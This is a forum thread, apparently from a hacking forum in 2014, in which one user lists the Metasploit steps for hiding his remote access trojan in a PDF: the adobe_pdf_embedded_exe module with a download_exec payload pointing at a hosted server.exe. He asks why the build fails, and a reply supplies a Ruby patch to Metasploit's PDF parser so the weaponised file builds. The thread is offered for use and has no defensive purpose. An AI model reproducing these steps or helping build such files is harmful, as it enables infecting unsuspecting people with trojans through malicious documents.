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•^v^-[bLacKn3x]-^v^• - February 3, 2014, 4:03 am

hi HF guys,

ich hav a problem with metasploit.

i would like to build in my rat in a pdf file.

my steps:

1st.- use exploit/windows/fileformat/adobe_pdf_embedded_exe

2nd. set my payload -set payload windows/download_exec

3rd. set INFILENAME C:/Users/*****/Desktop/lol.pdf

4th. set url [http://dl.dropbox/u/285928958/server.exe\(example\)](http://dl.dropbox/u/285928958/server.exe(example))

5th. exploit...

?? i get this error: "Sorry, I'm picky. Incompatible PDF structure: key not found: "Root". Please try a different PDF template."

I tried some pdf from year 2002 but it wont work !!!!

What can i do ?

THAnks all members 4 help me.

(sorry my english suxx)

goustapo2 - June 12, 2014, 12:29 am

To fix this bug edit file C:\metasploit\apps\pro\msf3\lib\msf\core\exploit\pdf_parse.rb and change "read_pdf()" function to:

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def read_pdf()
  #stream = IO.read("#{datastore['INFILENAME']}")
  stream = open("#{datastore['INFILENAME']}", "rb") { |io| io.read }

  return stream
end
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use notepad++ to edit

therealslimshaddy - June 30, 2014, 4:43 am

please explain in detail the editing part cant get the editing part properly